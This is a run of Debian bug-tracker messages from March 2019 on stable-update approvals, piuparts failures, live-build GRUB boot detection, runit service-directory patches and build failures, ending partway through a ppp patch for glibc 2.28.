Bug#923202: stretch-pu: package ruby2.3/2.3.3-1+deb9u5

[Adam D. Barratt]

Control: tags -1 + moreinfo

On Sun, 2019-02-24 at 21:27 -0300, Antonio Terceiro wrote:
> this update fixes 2 FTBFS bugs on stretch. All of the changes are in
> the test suite, so there are no functional changes.
[...]
> ruby2.3 (2.3.3-1+deb9u5) stretch; urgency=medium
> 
>   * Backport upstream patches to fix FTBFS due to expired SSL
> certificate and
> timezone changes (Closes: #91)
> - imap: update test certificate
> - timezone changes for Japan and Kiritimati
>   * test/ruby/test_gc.rb: skip entirely; some tests in there can fail
> unpredictably on buildds (Closes: #912740)

Does this resolve all of the FTBFS issues that are currently keeping
2.3.3-1+deb9u4 from being accepted into stable-new? (I'm hoping that's
what the #912740 does, but would like to be sure.)

Regards,

Adam

Bug#924093: gnome-klotski: broken symlinks: /usr/share/help/sr/??*/figures/gnotski_start-window.png -> ../../../C/gnome-klotski/figures/gnotski_start-window.png

[Andreas Beckmann]

Package: gnome-klotski
Version: 1:3.31.90-1
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m35.8s ERROR: FAIL: Broken symlinks:
  /usr/share/help/zh_CN/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/sv/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/sr@latin/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/sr/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/sl/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/pl/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/oc/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/it/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/hu/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/fr/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/eu/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/es/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/en_GB/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/el/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/de/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/da/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/cs/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)
  /usr/share/help/ca/gnome-klotski/figures/gnotski_start-window.png -> 
../../../C/gnome-klotski/figures/gnotski_start-window.png (gnome-klotski)

gnotski_start-window.png does not seem to be shipped as a regular
file in any package.


cheers,

Andreas


gnome-klotski_1:3.31.90-1.log.gz
Description: application/gzip

Bug#922647: Info received (Bug#922647: systemd --user no longer running)

[Michael Biebl]

Am 09.03.19 um 14:10 schrieb Julien Leproust:
> Hi,
> 
> I found the issue.
> 
> When looking for /etc files not belonging to any package, I discovered
> that /etc/pam.d/common-* files are managed by pam-auth-update.
> 
> Most pam profiles were enabled, except "Register user sessions in the
> systemd control group hierarchy", and just enabling it fixed the
> problem. The systemd user service and logind session are now correctly
> started and everything works fine (device permissions, pulseaudio, etc).
> 
> The real issue becomes why this pam profile got disabled in the first
> place.

libpam-systemd uses pam-auth-update as documented.
There is no code in the libpam-systemd package which disables/removes
pam_systemd.so.

So either you have at some point modified /etc/pam.d/common-* yourself
or there is a bug in pam-auth-update.

If I had to guess, the former is more likely.


-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#869184: dpkg: source uploads including _amd64.buildinfo cause problems

[Salvatore Bonaccorso]

Hi

The following question goes maybe specifically to Ansgar, from
dak/ftp-master perspective:

On Sun, Nov 11, 2018 at 08:38:36AM +0100, Salvatore Bonaccorso wrote:
> Hi Guillem!
> 
> On Fri, Nov 09, 2018 at 11:48:27AM +0100, Guillem Jover wrote:
> > Hi!
> > 
> > On Thu, 2018-11-08 at 20:28:57 +, Holger Levsen wrote:
> > > On Thu, Nov 08, 2018 at 09:24:01PM +0100, Salvatore Bonaccorso wrote:
> > > > We were again biten by this issue for some security-updates (most
> > > > recent one nginx). Do any involved parties know, was there any
> > > > progress in adressing this problem? 
> > 
> > Sorry, had your earlier mail from July marked for reply, but it seems
> > I missed that. :/
> > 
> > > in https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=869184#40 Guillem
> > > wrote:
> > > 
> > >Perhaps the simplest and more correct might be to name it using
> > >something like source+amd64 as the arch name, which seems like a
> > >dubious arch, but at least is accurate and might be trivial to
> > >implement, taking care of not ending up with such fake arch in
> > >unexpected places…
> > > 
> > > and I cannot find anything wrong with this simple solution and have
> > > already asked Guillem in August to implement this ;)
> > 
> > So, as I mentioned at the time this would require modifing the internal
> > filtering of the debian/files entries to cover this case in several of
> > the tools. It also modifies the documented filename pattern in
> > deb-buildinfo(5). This is all solvable and I should probably just do it.
> > But this breaks previous public filename "interfaces", seems rather
> > intrusive, and entirely inappropriate for a stable update, which means
> > it would not fix your immediate problems anyway, only starting with
> > Buster. :/
> 
> Although this would not help us for stretch-security uploads, such a
> move starting from buster would be very appreciated!
> 
> Thanks a lot for your time investing in it, very much appreicated.

We regularly get issue still with that given one easily forgets about
the issue (the last occurence whas the php7.0 upload for
stretch-security as of yesterday). I wonder thus: would it be easily
workaroundable on ftp-master/dak's side to perform some additional
checks in that direction and reject such uploads wich would contain a
_${arch}.buildinfo file?

Any help in this regard would be very welcome from security team's
perspective, as we -- although an easy step -- need to fetch rejected
packages, rename files, resign and upload.

Sorry for always returning with this issue to both you and dpkg
maintainers.

Regards,
Salvatore

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[Thomas Schmitt]

Hi,

adrian15 wrote:
> Well, guess what happened... my obvious patch:
>  if ! search --set=root --file /live/vmlinuz ; then
   search --set=root --file /live/vmlinuz1
> does not boot in my computer because it's still finding /live/vmlinuz in
> the internal hard disk.
 
That's the second bad spinoff from using as ISO earmark a file which
already has a different job.
(First in my counting is that a change in kernel naming inadvertedly
 could spoil the recognition of the ISO.)


> 3) I'll try to code this dedicated unique identification file path that
> you are proposing and see if it works better.

I am pondering whether the name should be long and human readable
like "d-live_9.4.0_xf_amd64" or short and bootloader agnostic like
"0F63AE66.87F" (*).
The former needs Rock Ridge support to be recognizable (GRUB2 has it,
afaic), the latter would show up the same in all naming systems of
the ISO. Be it plain ISO 9660 level 1, Rock Ridge, or Joliet.

(*) The short name was derived by:

  x=$(echo -n 'd-live 9.4.0 xf amd64' | md5sum | tr 'a-z' 'A-Z' | dd bs=1 
count=11)
  name=$(echo "$x" | dd bs=1 count=8)"."$(echo "$x" | dd bs=1 skip=8 count=3)

(I am sure it can be done more elegantly.)


Have a nice day :)

Thomas

Bug#924070: [pre-approval] unblock: nvidia-cuda-toolkit/10.1.105-1

[Graham Inggs]

Some additional information:

This upgrade will require nvidia-graphics-drivers/418.43-1, currently in NEW.

The following packages will require binNMUs:
caffe-contrib
eztrace-contrib
hwloc-contrib
pycuda
starpu-contrib

Bug#923202: stretch-pu: package ruby2.3/2.3.3-1+deb9u5

[Adam D. Barratt]

Control: tags -1 -moreinfo +confirmed

On Sat, 2019-03-09 at 11:01 -0300, Antonio Terceiro wrote:
> On Sat, Mar 09, 2019 at 01:56:02PM +, Adam D. Barratt wrote:
> > Control: tags -1 + moreinfo
> > 
> > On Sun, 2019-02-24 at 21:27 -0300, Antonio Terceiro wrote:
> > > this update fixes 2 FTBFS bugs on stretch. All of the changes are
> > > in
> > > the test suite, so there are no functional changes.
> > 
> > [...]
> > > ruby2.3 (2.3.3-1+deb9u5) stretch; urgency=medium
> > > 
> > >   * Backport upstream patches to fix FTBFS due to expired SSL
> > > certificate and
> > > timezone changes (Closes: #91)
> > > - imap: update test certificate
> > > - timezone changes for Japan and Kiritimati
> > >   * test/ruby/test_gc.rb: skip entirely; some tests in there can
> > > fail
> > > unpredictably on buildds (Closes: #912740)
> > 
> > Does this resolve all of the FTBFS issues that are currently
> > keeping
> > 2.3.3-1+deb9u4 from being accepted into stable-new? (I'm hoping
> > that's
> > what the #912740 does, but would like to be sure.)
> 
> Yes

Thanks for the quick response; please go ahead.

Regards,

Adam

Bug#924094: base-files: Missing Artistic-2.0 in /usr/share/common-licenses/

[Steffen Moeller]

Package: base-files
Version: 10.1
Severity: normal

Dear Maintainer,

   * What led up to the situation?

I was packaging a tool with that license without shipping it.

   * What outcome did you expect instead?

I wished I could refer to a file /usr/share/common-licenses/Artistic-2.0 
instead of copying it.
The original license is on https://opensource.org/licenses/Artistic-2.0

Best,

Steffen

*** End of the template - remove these template lines ***


-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.20.0-trunk-amd64 (SMP w/1 CPU core)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages base-files depends on:
ii  gawk [awk]  1:4.2.1+dfsg-1
ii  mawk [awk]  1.3.3-17+b3

base-files recommends no packages.

base-files suggests no packages.

-- no debconf information

Bug#923323: stretch-pu: CVE-2018-1000872: package python-pykmip/0.5.0-4

[Adam D. Barratt]

Control: tags -1 + confirmed

On Tue, 2019-02-26 at 14:14 +0100, Thomas Goirand wrote:
> Here's the changelog entry:
> 
> +  * CVE-2018-1000872: Resource Management Errors (similar issue to
> +CVE-2015-5262) vulnerability in PyKMIP server that can result in
> DOS: the
> +server can be made unavailable by one or more clients opening
> all of the
> +available sockets. Applied upstream patch: Fix a denial-of-
> service bug by
> +setting the server socket timeout (Closes: #917030).
> 
> The security team doesn't think a DSA is needed. Debdiff is attached.
> 

Please go ahead.

Regards,

Adam

Bug#911036: reproducing bug / testing

[Andy Simpkins]

Confirmed in DI daily build debian-testing-amd64-netinst.iso dated
2019-03-09 11:14

About to test with your patch at
https://salsa.debian.org/installer-team/partman-lvm/merge_requests/2

(waiting for build)

/Andy



signature.asc
Description: OpenPGP digital signature

Bug#923556: stretch-pu: package r-cran-igraph/1.0.1-1+deb9u1

[Adam D. Barratt]

Control: tags -1 + confirmed

On Fri, 2019-03-01 at 22:29 +0100, Dylan Aïssi wrote:
> Upstream has fixed CVE-2018-20349 which is non-dsa.
> I already backported a patch to unstable/testing and now I would like
> to fix the Stretch version.
> 

Please go ahead.

Regards,

Adam

Bug#924053: live-build: UEFI shows grub> on HP250 G6 2SX60EA

[adrian15]

El 09/03/19 a las 15:03, Thomas Schmitt escribió:
> Hi,
> 
> adrian15 wrote:
>> Well, guess what happened... my obvious patch:
>>  if ! search --set=root --file /live/vmlinuz ; then
>search --set=root --file /live/vmlinuz1
>> does not boot in my computer because it's still finding /live/vmlinuz in
>> the internal hard disk.
>  
> That's the second bad spinoff from using as ISO earmark a file which
> already has a different job.
> (First in my counting is that a change in kernel naming inadvertedly
>  could spoil the recognition of the ISO.)
> 
> 
>> 3) I'll try to code this dedicated unique identification file path that
>> you are proposing and see if it works better.
> 
> I am pondering whether the name should be long and human readable
> like "d-live_9.4.0_xf_amd64" or short and bootloader agnostic like
> "0F63AE66.87F" (*).
> The former needs Rock Ridge support to be recognizable (GRUB2 has it,
> afaic), the latter would show up the same in all naming systems of
> the ISO. Be it plain ISO 9660 level 1, Rock Ridge, or Joliet.
> 
> (*) The short name was derived by:
> 
>   x=$(echo -n 'd-live 9.4.0 xf amd64' | md5sum | tr 'a-z' 'A-Z' | dd bs=1 
> count=11)
>   name=$(echo "$x" | dd bs=1 count=8)"."$(echo "$x" | dd bs=1 skip=8 count=3)
> 
> (I am sure it can be done more elegantly.)
> 
> 
> Have a nice day :)
> 
> Thomas

I am currently building and testing a label search approach.
It works manually on both UEFI USB boot and TianaCore UEFI CDROM boot.

The patch is here:
https://github.com/rescatux/live-build/commit/2716635f6314bba1d94f0693a33bbb55eba323e5

and, well it's quite simple:
replace:

search --set=root --file /live/vmlinuz

with:

search --set=root --label \"${LB_ISO_VOLUME}\"
.


I might discard this label approach and take yours because of tools to
remaster distros.

If I hard code 'DebianLive87' or whatever Debian label is then anyone
who wants modify minimally the iso then needs to reconstruct the efi.img
file so that it searchs for their label.

Because, obviously when you remaster an ISO you want to put your volume
name and not "Debian", "Ubuntu" or whatever.


Your filename base approach just enforces the remaster tool to find an
unknown 8.3 file and make sure to copy it. Or maybe every single file at
device root ?

It's way simpler than mine.


So Thomas... any more thoughts that you can bring me in... to make
remaster tools work easier?

Maybe I'm missing something obvious.

Thank you.


adrian15
-- 
Support free software. Donate to Super Grub Disk. Apoya el software
libre. Dona a Super Grub Disk. http://www.supergrubdisk.org/donate/

Bug#923897: stretch-pu: package chrony/3.0-4+deb9u2

[Adam D. Barratt]

Control: tags -1 + confirmed

On Wed, 2019-03-06 at 22:07 +0100, Vincent Blut wrote:
> I would like to update chrony in Stretch to fix #923137 (severity 
> important). This issue is caused by the absence of the _llseek()
> system 
> call in the seccomp filter provided by chrony, which prevents some 
> information to be logged on various 32-bit architectures when the
> system 
> call filter is active.
> 
> While working on the bug report mentionned above, I discovered that 
> chronyd could also be incorrectly stopped when the system call filter
> is 
> enabled. This is due to the waitpid() system call being absent from
> the 
> seccomp filter. This is addressed by the 
> allow-waitpid-in-seccomp-filter.patch patch.
> 

Please go ahead.

Regards,

Adam

Bug#923202: stretch-pu: package ruby2.3/2.3.3-1+deb9u5

[Antonio Terceiro]

On Sat, Mar 09, 2019 at 01:56:02PM +, Adam D. Barratt wrote:
> Control: tags -1 + moreinfo
> 
> On Sun, 2019-02-24 at 21:27 -0300, Antonio Terceiro wrote:
> > this update fixes 2 FTBFS bugs on stretch. All of the changes are in
> > the test suite, so there are no functional changes.
> [...]
> > ruby2.3 (2.3.3-1+deb9u5) stretch; urgency=medium
> > 
> >   * Backport upstream patches to fix FTBFS due to expired SSL
> > certificate and
> > timezone changes (Closes: #91)
> > - imap: update test certificate
> > - timezone changes for Japan and Kiritimati
> >   * test/ruby/test_gc.rb: skip entirely; some tests in there can fail
> > unpredictably on buildds (Closes: #912740)
> 
> Does this resolve all of the FTBFS issues that are currently keeping
> 2.3.3-1+deb9u4 from being accepted into stable-new? (I'm hoping that's
> what the #912740 does, but would like to be sure.)

Yes


signature.asc
Description: PGP signature

Bug#924095: ITP: golang-github-containernetworking-cni -- Container Network Interface - networking for Linux containers

[Shengjing Zhu]

Package: wnpp
Severity: wishlist
Owner: Shengjing Zhu 

* Package name: golang-github-containernetworking-cni
  Version : 0.6.0-1
  Upstream Author : CNI
* URL : https://github.com/containernetworking/cni
* License : Apache-2.0
  Programming Lang: Go
  Description : Container Network Interface - networking for Linux 
containers

 CNI consists of a specification and libraries for writing plugins to
 configure network interfaces in Linux containers, along with a number of
 supported plugins. CNI concerns itself only with network connectivity
 of containers and removing allocated resources when the container is
 deleted. Because of this focus, CNI has a wide range of support and
 the specification is simple to implement.

This is a dependency of golang-github-containerd-go-cni


signature.asc
Description: PGP signature

Bug#916973: runit: Please support changing runlevel with runsvchdir

[Lorenzo Puliti]

Package: runit
Version: 2.1.2-24
Followup-For: Bug #916973

Hi, 

this is meant for buster +1.

I'm attaching two patch to add support for runsvchdir in Debian's runit;
With this patch /etc/service is a symlink to /etc/runit/runsvdir/current
wich is a symlink to a service directory ('default' by default).

Any change made with runsvchdir is persistent across reboot so local
admin is responsible for maintaining a service dir other than the default.
There is no way provided to set the servicedir at boot, as suggested in #912937,
because using runsvchdir in stage 2 will fail if /etc is readonly.

To fix the readonly problem runsvdir could be run into another directory,
for example /var/service or somewhere in /run but this needs further patching   
   
since both  /etc/service and /etc/runit/runsvdir/ are hardcoded in respectively
'sv' and 'runsvchdir'.
So this is incomplete but I need those two patches to provide a version of
runit suitable for testing 'init-system-helpers' with runit-init support. 

Thanks,
Lorenzo

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.20.3-van (SMP w/4 CPU cores; PREEMPT)
Kernel taint flags: TAINT_OOT_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: runit (via /run/runit.stopit)

Versions of packages runit depends on:
ii  libc6   2.28-8
ii  runit-helper2.8.7
ii  sysuser-helper  1.3.3

Versions of packages runit recommends:
ii  runit-init  2.1.2-24

runit suggests no packages.

-- Configuration Files:
/etc/runit/3 changed [not included]

-- no debconf information
>From 272e294e870b5c6f2cfd4d2c99e434cd5de4b50f Mon Sep 17 00:00:00 2001
From: Lorenzo Puliti 
Date: Sat, 9 Mar 2019 09:29:20 +0100
Subject: [PATCH 1/4] /etc/service points to current symlink

/etc/service points to current symlink instead of default directory
---
 debian/runit.links | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/debian/runit.links b/debian/runit.links
index 1eff0a8..01b07fd 100644
--- a/debian/runit.links
+++ b/debian/runit.links
@@ -1 +1 @@
-/etc/runit/runsvdir/default /etc/service
+/etc/runit/runsvdir/current /etc/service
-- 
2.20.1

>From 104596c2fddac4019e617d1a0a4bbee4e5a1954a Mon Sep 17 00:00:00 2001
From: Lorenzo Puliti 
Date: Sat, 9 Mar 2019 10:59:59 +0100
Subject: [PATCH 2/4] Provide transition code in runit.preinst

Provide code for transition in preinstall script:
* make sure that a 'current' symlink exists and that points to
  some service directory
* switch the /etc/service symlink to 'currnet' symlink in a safe way,
  (using mv instaead of ln) to be sure that there is no instant in wich
  runsvdir is running on an empty directory (will break the upgrade)
---
 debian/runit.preinst | 28 
 1 file changed, 28 insertions(+)

diff --git a/debian/runit.preinst b/debian/runit.preinst
index 5d2b475..2604533 100755
--- a/debian/runit.preinst
+++ b/debian/runit.preinst
@@ -24,4 +24,32 @@ if [ "$1" = upgrade ] ; then
esac
 fi
 
+servlink=$(readlink /etc/service)
+
+if [ ! -e /etc/runit/runsvdir/current ]; then
+#rm any broken/old symlink, just to be sure
+rm -f /etc/runit/runsvdir/current
+echo "setting up for runsvchdir"
+#now current symlink does not exists, we can safely create it
+ln -s /etc/runit/runsvdir/default /etc/runit/runsvdir/current
+echo "current symlink succesfully created"
+if [ "$servlink" = "runit/runsvdir/default/" ]; then
+#we are running in the default rundir, proceed with the switch
+#note that ln is not safe to use here as it does an unlink before 
+# creating the new link; using mv instead
+echo "switching /etc/service to current.."
+ln -s /etc/runit/runsvdir/current /etc/service-new
+mv -T /etc/service-new /etc/service
+echo "..done"
+fi
+elif [ "$servlink" = "runit/runsvdir/default/" ]; then
+#assume current is already a symlink to some service directory
+# in this case just perform the switch
+echo "current symlink already in place"
+echo "switching /etc/service to current.."
+ln -s /etc/runit/runsvdir/current /etc/service-new
+mv -T /etc/service-new /etc/service
+echo "..done"
+fi
+
 #DEBHELPER#
-- 
2.20.1

Bug#922028: Can not start on Thinkpad X1 Carbon 5th (can not find its PCIe SSD?)

[Ben Hutchings]

Control: severity -1 important
Control: tag -1 moreinfo

On Mon, 11 Feb 2019 20:25:04 +0800 gulfstream  wrote:
> Package: src:linux
> Version: 4.19.16-1
> Severity: critical
> 
> 
> Since I upgrade the kenel to 4.19, it does not work. For the version
> 4.19.0.2-2, it may not find the PCIe SSD harddisk when mount file
> system.

Try running this command as root:

update-initramfs -u -k 4.19.0-2-amd64

Does that print any error or warning messages?  If not, does that fix
the problem (i.e. can you then reboot into the new kernel version)?

If that doesn't work:

- Select the "recovery mode" entry for 4.19 on the boot menu, and take
  a picture of the output.
- Run this command as root:
  mkinitramfs -v -o $(mktemp) 4.19.0-2-amd64 > mkinitramfs.log 2>&1
- Reply with the picture and mkinitramfs.log as attachments.

Ben.

-- 
Ben Hutchings
Knowledge is power.  France is bacon.




signature.asc
Description: This is a digitally signed message part

Bug#919077: node-xterm FTBFS

[Andrej Shadura]

This is what it looks like these days:
> dpkg-buildpackage
> -
> 
> dpkg-buildpackage: info: source package node-xterm
> dpkg-buildpackage: info: source version 2.7.0+ds1-1
> dpkg-buildpackage: info: source distribution unstable
> dpkg-buildpackage: info: source changed by Ghislain Antony Vaillant 
> 
>  dpkg-source --before-build .
> dpkg-buildpackage: info: host architecture amd64
>  fakeroot debian/rules clean
> dh clean
>debian/rules override_dh_auto_clean
> make[1]: Entering directory '/<>'
> dh_auto_clean
> rm -rf node_modules lib dist build
> make[1]: Leaving directory '/<>'
>dh_clean
>  debian/rules build
> dh build
>dh_update_autotools_config
>dh_autoreconf
>debian/rules override_dh_auto_configure
> make[1]: Entering directory '/<>'
> mkdir -p node_modules/@types
> set -e; for i in chai jquery jsdom mocha node; do \
>   ln -sf /usr/lib/nodejs/@types/$i node_modules/@types/$i; done
> make[1]: Leaving directory '/<>'
>debian/rules override_dh_auto_build
> make[1]: Entering directory '/<>'
> tsc --project .
> src/Linkifier.test.ts(28,11): error TS2339: Property 'env' does not exist on 
> type 'typeof import("/usr/lib/nodejs/@types/jsdom/ts3.1/index")'.
> src/Linkifier.ts(82,5): error TS2322: Type 'Timeout' is not assignable to 
> type 'number'.
> src/utils/CharMeasure.test.ts(17,11): error TS2339: Property 'env' does not 
> exist on type 'typeof import("/usr/lib/nodejs/@types/jsdom/ts3.1/index")'.
> src/utils/Mouse.ts(30,80): error TS2339: Property 'parentElement' does not 
> exist on type 'never'.
> ../../../usr/lib/nodejs/@types/jquery/index.d.ts(28,23): error TS2688: Cannot 
> find type definition file for 'sizzle'.
> ../../../usr/lib/nodejs/@types/jquery/misc.d.ts(27,33): error TS2503: Cannot 
> find namespace 'Sizzle'.
> ../../../usr/lib/nodejs/@types/jquery/misc.d.ts(35,14): error TS2503: Cannot 
> find namespace 'Sizzle'.
> ../../../usr/lib/nodejs/@types/jquery/misc.d.ts(43,17): error TS2503: Cannot 
> find namespace 'Sizzle'.
> ../../../usr/lib/nodejs/@types/jsdom/ts3.1/index.d.ts(5,28): error TS2307: 
> Cannot find module 'parse5'.
> ../../../usr/lib/nodejs/@types/jsdom/ts3.1/index.d.ts(6,24): error TS2307: 
> Cannot find module 'tough-cookie'.
> make[1]: *** [debian/rules:19: override_dh_auto_build] Error 2
> make[1]: Leaving directory '/<>'
> make: *** [debian/rules:7: build] Error 2
> dpkg-buildpackage: error: debian/rules build subprocess returned exit status 2
> 
> Build finished at 2019-03-09T14:42:13Z


-- 
Cheers,
  Andrej

Bug#924096: suricata: fails to upgrade from 'testing' - trying to overwrite /usr/bin/suricata-update

[Andreas Beckmann]

Package: suricata
Version: 1:4.1.3-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package fails to upgrade from
'testing'.
It installed fine in 'testing', then the upgrade to 'sid' fails
because it tries to overwrite other packages files without declaring a
Breaks+Replaces relation.

See policy 7.6 at
https://www.debian.org/doc/debian-policy/ch-relationships.html#overwriting-files-and-replacing-packages-replaces

>From the attached log (scroll to the bottom...):

  Preparing to unpack .../suricata_1%3a4.1.3-1_amd64.deb ...
  Unpacking suricata (1:4.1.3-1) ...
  dpkg: error processing archive 
/var/cache/apt/archives/suricata_1%3a4.1.3-1_amd64.deb (--unpack):
   trying to overwrite '/usr/bin/suricata-update', which is also in package 
suricata-update 1.0.3-2
  Errors were encountered while processing:
   /var/cache/apt/archives/suricata_1%3a4.1.3-1_amd64.deb


cheers,

Andras


suricata-update=1.0.3-2_suricata=1:4.1.3-1.log.gz
Description: application/gzip

Bug#916163: ppp FTBFS with glibc 2.28

[Chris Lamb]

tags 916163 + pending patch
thanks

I've uploaded ppp 2.4.7-2+4.1 to DELAYED/5:
  
  ppp (2.4.7-2+4.1) unstable; urgency=medium
  
* Non-maintainer upload.
* Apply upstream patch from
  

  to fix FTBFS with glibc 2.28. (Closes: #916163)

The full debdiff is attached.


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-
diffstat for ppp-2.4.7 ppp-2.4.7

 changelog|9 +++
 patches/glibc-2.28.patch |  107 +++
 patches/series   |3 +
 3 files changed, 119 insertions(+)

diff -Nru ppp-2.4.7/debian/changelog ppp-2.4.7/debian/changelog
--- ppp-2.4.7/debian/changelog  2018-11-04 12:56:54.0 +
+++ ppp-2.4.7/debian/changelog  2019-03-09 14:48:25.0 +
@@ -1,3 +1,12 @@
+ppp (2.4.7-2+4.1) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * Apply upstream patch from
+

+to fix FTBFS with glibc 2.28. (Closes: #916163)
+
+ -- Chris Lamb   Sat, 09 Mar 2019 14:48:25 +
+
 ppp (2.4.7-2+4) unstable; urgency=medium
 
   * Update EAP-TLS patch to version 1.102. (Closes: #912822)
diff -Nru ppp-2.4.7/debian/patches/glibc-2.28.patch 
ppp-2.4.7/debian/patches/glibc-2.28.patch
--- ppp-2.4.7/debian/patches/glibc-2.28.patch   1970-01-01 01:00:00.0 
+0100
+++ ppp-2.4.7/debian/patches/glibc-2.28.patch   2019-03-09 14:48:25.0 
+
@@ -0,0 +1,107 @@
+From 3c7b86229f7bd2600d74db14b1fe5b3896be3875 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Jaroslav=20=C5=A0karvada?= 
+Date: Fri, 6 Apr 2018 14:27:18 +0200
+Subject: [PATCH] pppd: Use openssl for the DES instead of the libcrypt / glibc
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+[https://github.com/paulusmack/ppp/commit/3c7b86229f7bd2600d74db14b1fe5b3896be3875]
+
+It seems the latest glibc (in Fedora glibc-2.27.9000-12.fc29) dropped
+libcrypt.  The libxcrypt standalone package can be used instead, but
+it dropped the old setkey/encrypt API which ppp uses for DES.  There
+is support for using openssl in pppcrypt.c, but it contains typos
+preventing it from compiling and seems to be written for an ancient
+openssl version.
+
+This updates the code to use current openssl.
+
+[pau...@ozlabs.org - wrote the commit description, fixed comment in
+ Makefile.linux.]
+
+Signed-off-by: Jaroslav Å karvada 
+Signed-off-by: Paul Mackerras 
+---
+ pppd/Makefile.linux |  7 ---
+ pppd/pppcrypt.c | 18 +-
+ 2 files changed, 13 insertions(+), 12 deletions(-)
+--- ppp-2.4.7.orig/pppd/Makefile.linux
 ppp-2.4.7/pppd/Makefile.linux
+@@ -35,10 +35,10 @@ endif
+ COPTS = -O2 -pipe -Wall -g
+ LIBS = -lcrypto
+ 
+-# Uncomment the next 2 lines to include support for Microsoft's
++# Uncomment the next line to include support for Microsoft's
+ # MS-CHAP authentication protocol.  Also, edit plugins/radius/Makefile.linux.
+ CHAPMS=y
+-USE_CRYPT=y
++#USE_CRYPT=y
+ # Don't use MSLANMAN unless you really know what you're doing.
+ #MSLANMAN=y
+ # Uncomment the next line to include support for MPPE.  CHAPMS (above) must
+@@ -142,7 +142,8 @@ endif
+ 
+ ifdef NEEDDES
+ ifndef USE_CRYPT
+-LIBS += -ldes $(LIBS)
++CFLAGS   += -I/usr/include/openssl
++LIBS += -lcrypto
+ else
+ CFLAGS   += -DUSE_CRYPT=1
+ endif
+--- ppp-2.4.7.orig/pppd/pppcrypt.c
 ppp-2.4.7/pppd/pppcrypt.c
+@@ -64,7 +64,7 @@ u_char *des_key; /* OUT 64 bit DES key w
+   des_key[7] = Get7Bits(key, 49);
+ 
+ #ifndef USE_CRYPT
+-  des_set_odd_parity((des_cblock *)des_key);
++  DES_set_odd_parity((DES_cblock *)des_key);
+ #endif
+ }
+ 
+@@ -158,25 +158,25 @@ u_char *clear;   /* OUT 8 octets */
+ }
+ 
+ #else /* USE_CRYPT */
+-static des_key_schedule   key_schedule;
++static DES_key_schedule   key_schedule;
+ 
+ bool
+ DesSetkey(key)
+ u_char *key;
+ {
+-  des_cblock des_key;
++  DES_cblock des_key;
+   MakeKey(key, des_key);
+-  des_set_key(&des_key, key_schedule);
++  DES_set_key(&des_key, &key_schedule);
+   return (1);
+ }
+ 
+ bool
+-DesEncrypt(clear, key, cipher)
++DesEncrypt(clear, cipher)
+ u_char *clear;/* IN  8 octets */
+ u_char *cipher;   /* OUT 8 octets */
+ {
+-  des_ecb_encrypt((des_cblock *)clear, (des_cblock *)cipher,
